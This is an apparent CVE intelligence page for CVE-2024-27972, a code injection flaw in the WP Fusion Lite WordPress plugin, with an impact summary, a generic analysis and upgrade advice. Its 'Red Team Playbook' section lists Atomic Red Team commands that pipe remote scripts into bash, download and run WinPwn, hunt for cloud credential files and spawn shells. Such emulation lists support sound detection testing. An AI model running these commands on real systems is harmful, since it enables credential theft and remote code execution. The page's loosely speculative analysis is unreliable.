CVE-2024-27972
Overview
This vulnerability is a code injection flaw caused by improper control over code generation within the WP Fusion Lite plugin for WordPress. The root cause lies in insufficient validation or sanitization of user-supplied input that is subsequently processed as executable code. The affected component is the WP Fusion Lite plugin, specifically versions up to and including 3.41.24, where dynamic code execution is improperly managed.
Vulnerability Description
Improper Control of Generation of Code ('Code Injection') vulnerability in Jack Arturo WP Fusion Lite wp-fusion-lite.This issue affects WP Fusion Lite: from n/a through <= 3.41.24.
Impact
An attacker with a low-privileged account can execute arbitrary code on the server hosting the vulnerable plugin without requiring user interaction. This enables full compromise of the web server environment, including access to sensitive data, modification of site content, and potential lateral movement within the network. The vulnerability can lead to complete system takeover, data breaches, and disruption of WordPress site operations.
Solution
Upgrade WP Fusion Lite to version 3.41.25 or later, where this vulnerability has been addressed. Refer to the Patchstack advisory at https://patchstack.com/database/Wordpress/Plugin/wp-fusion-lite/vulnerability/wordpress-wp-fusion-lite-plugin-3-41-24-remote-code-execution-rce-vulnerability?_s_id=cve for detailed patch instructions and verification steps. No official workarounds are recommended; applying the vendor-provided update is the primary remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability present in WP Fusion Lite pertains to improper control over the generation of code, commonly referred to as a code injection flaw. This type of vulnerability occurs when an application allows untrusted input to be executed as code without proper validation or sanitization. In the case of WP Fusion Lite, versions up to and including 3.41.24 are susceptible, enabling an attacker to inject arbitrary code into the application. This flaw arises from insufficient input validation mechanisms, allowing malicious actors to manipulate the input fields or parameters that the application processes, leading to unintended execution of code.
Attack vectors for exploiting this vulnerability are varied but typically involve the use of crafted requests that include malicious payloads. An attacker could leverage various methods, such as cross-site scripting (XSS) or direct API calls, to inject harmful scripts into the application. For instance, if an attacker can manipulate a form submission or an API endpoint, they could execute arbitrary PHP code on the server, potentially leading to full server compromise. This exploitation could be executed remotely, making it particularly dangerous as it does not require physical access to the server. Furthermore, the ease of crafting such requests means that even individuals with limited technical expertise could potentially exploit this vulnerability.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on WP Fusion Lite for their operations. Given the high CVSS score of 9.9, the threat level is critical, indicating that successful exploitation could lead to severe consequences, such as unauthorized access to sensitive data, complete system takeover, or the installation of malware. The ramifications could extend beyond immediate financial losses, affecting customer trust, brand reputation, and compliance with data protection regulations. Organizations using this plugin may face legal liabilities if customer data is compromised, leading to costly lawsuits and regulatory fines.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the WP Fusion Lite plugin to the latest version is crucial, as updates often include patches for known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application. Code reviews and security testing should be part of the development lifecycle to identify and remediate vulnerabilities early. Organizations should also conduct regular security audits and penetration testing to assess their exposure to such vulnerabilities and ensure that their security posture remains robust against evolving threats.
In conclusion, the improper control of code generation in WP Fusion Lite represents a critical vulnerability that poses substantial risks to organizations utilizing this plugin. The potential for exploitation through various attack vectors underscores the importance of proactive security measures. By prioritizing timely updates, employing security tools, and fostering a culture of security awareness, businesses can mitigate the risks associated with this vulnerability and protect their assets from malicious actors.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-27972 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/wp-fusion-lite/vulnerability/wordpress-wp-fusion-lite-plugin-3-41-24-remote-code-execution-rce-vulnerability?_s_id=cve |
| patchstack.com |
NVD API
|
https://patchstack.com/database/vulnerability/wp-fusion-lite/wordpress-wp-fusion-lite-plugin-3-41-24-remote-code-execution-rce-vulnerability?_s_id=cve |